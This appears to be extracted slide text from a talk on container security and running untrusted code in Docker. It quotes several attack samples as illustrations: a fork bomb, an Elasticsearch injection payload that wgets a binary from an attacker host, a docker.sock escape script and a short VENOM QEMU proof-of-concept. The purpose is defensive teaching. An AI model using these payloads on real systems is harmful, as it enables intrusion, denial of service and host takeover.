lessons from running potentially malicious code inside containers

Lessons from running potentially malicious code inside containers@[email protected] Uproar / Katacoda.com

@Ben_Hall / Blog.BenHall.me.uk

Docker London Organiser

Software Development Studio

WH

O AM

I?

“What happens when you give anonymous unrestricted

access to a hosted Docker container & daemon?”

This is how we [try to] protect ourselves

Learn via Interactive Browser-Based LabsKatacoda.com

Multi-tenant system

PaaS

CI Servers

Untrusted 3rd Parties

Docker Security Practices

The first “hack”

$ whoami$ pwd$ cd /$ ls$ apt-get install <some package>$ passwd$ rm –rf /

DockerfileRUN adduser <new user>USER <new user>

$ docker run –u <new user>

$ uptime$ free -m$ df -h$ cat /proc/cpuinfo$ uname -a

$ reboot

$ shutdown now

“It also allows the container to access local network services + like D-bus and is therefore

considered insecure”

$ docker run --net=host -it ubuntu bash root@ubuntu:/# shutdown now root@ubuntu:/# $ docker run --net=host -it ubuntu bash Post http://docker:4243/v1.20/containers/create: EOF. * Are you trying to connect to a TLS-enabled daemon without TLS? * Is your docker daemon up and running?

Docker out of the box covers a lot but not everything…

$ while :; do echo 'Hello World'; done

Log Rotation since 1.8

$ fallocate Operation Not Supported

$ truncate

$ dd

Root users can write to it. If you can write to it, you can fill it.

$ ls /docker/aufs/diff/<container-id>/

$ cat /docker/containers/<container-id>/hosts

Bandwidth

Difficult to restrict

CGroups and Namespaces

CPU Shares

:(){ :|: & };:

$ docker run -d -u daemon --ulimit nproc=3 busybox top $ docker run -d -u daemon --ulimit nproc=3 busybox top $ docker run -d -u daemon --ulimit nproc=3 busybox top $ docker run -d -u daemon --ulimit nproc=3 busybox topefe086376f3d1b09f6d99fa1af8bfb6e021cdba9b363bd6ac10c07704239b398 Error response from daemon: Cannot start container efe086376f3d1b09f6d99fa1af8bfb6e021cdba9b363bd6ac10c07704239b398: [8] System error: resource temporarily unavailable

Cgroup Settings

• Limit a container to a share of the resource> --cpu-shares> --cpuset-cpus> --memory-reservation> --kernel-memory> --blkio-weight (block IO)> --device-read-iops> --device-write-iops

Namespaces limit what a container can see…

Seccomp & AppArmor

The Warden

Based on Docker API + Magic

Snort for Docker?

Sysdig Falco

What happens when it all goes wrong?

Hosting provider becomes unhappy

org.elasticsearch.search.SearchParseException: [index][3]: query[ConstantScore(*:*)],from[-1],size[1]: Parse Failure [Failed to parse source [{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":{"exp":{"script":"import java.util.*;\nimport java.io.*;\nString str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xdvi http://<IP Address>:9985/xdvi\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();"}}}]]

http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/

C /binC /bin/netstatC /bin/psC /bin/ssC /etcC /etc/init.dA /etc/init.d/DbSecuritySptA /etc/init.d/selinuxC /etc/rc1.dA /etc/rc1.d/S97DbSecuritySptA /etc/rc1.d/S99selinuxC /etc/rc2.dA /etc/rc2.d/S97DbSecuritySptA /etc/rc2.d/S99selinuxC /etc/rc3.dA /etc/rc3.d/S97DbSecuritySptA /etc/rc3.d/S99selinuxC /etc/rc4.dA /etc/rc4.d/S97DbSecuritySptA /etc/rc4.d/S99selinuxC /etc/rc5.d

http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/

A /etc/rc5.d/S97DbSecuritySptA /etc/rc5.d/S99selinuxC /etc/sshA /etc/ssh/bfgffaA /os6A /safe64C /tmpA /tmp/.Mm2A /tmp/64A /tmp/6SxxA /tmp/6UbbA /tmp/DDos99A /tmp/cmd.nA /tmp/conf.nA /tmp/ddos8A /tmp/dp25A /tmp/frccA /tmp/gates.lodA /tmp/hkddosA /tmp/hsperfdata_rootA /tmp/linux32

A /tmp/linux64A /tmp/managerA /tmp/moni.lodA /tmp/nbA /tmp/o32A /tmp/obaA /tmp/okmlA /tmp/oniA /tmp/yn25C /usrC /usr/binA /usr/bin/.sshdA /usr/bin/dpkgdA /usr/bin/dpkgd/netstatA /usr/bin/dpkgd/psA /usr/bin/dpkgd/ss

Read Only Containers

> docker run –-read-only \ –v /data:/data \ elasticsearch

Is Docker Secure?

• Yes. It’s as secure as your practices are.• ElasticSearch hack would have taken over

entire box• I’ve pointed out the bad bits• New game, new rules to play by.

$ docker run benhall/cute-kittensError: Missing docker.sockUsage: docker run -v /var/run/docker.sock:/var/run/docker.sock benhall/cute-kittens

$ docker run -v /var/run/docker.sock:/var/run/docker.sock benhall/cute-kittens

if [ -e /var/run/docker.sock ]; then echo "**** Launching ****” docker run --privileged busybox ls /dev echo "**** Cute kittens ****"else echo "Error: Missing docker.sock”fi

DockerBench.com

Think VMs contain?• CVE-2016-3710: QEMU: out-of-bounds memory access issue

• Venom QEMU/KVM – Attack via floppy driver#include <sys/io.h>#define FIFO 0x3f5int main() { int i; iopl(3);

outb(0x0a,0x3f5); /* READ ID */ for (i=0;i<10000000;i++) outb(0x42,0x3f5); /* push */}

Available for one/two day Microservice/Docker Security training

Thank you!

www.Katacoda.com

@[email protected]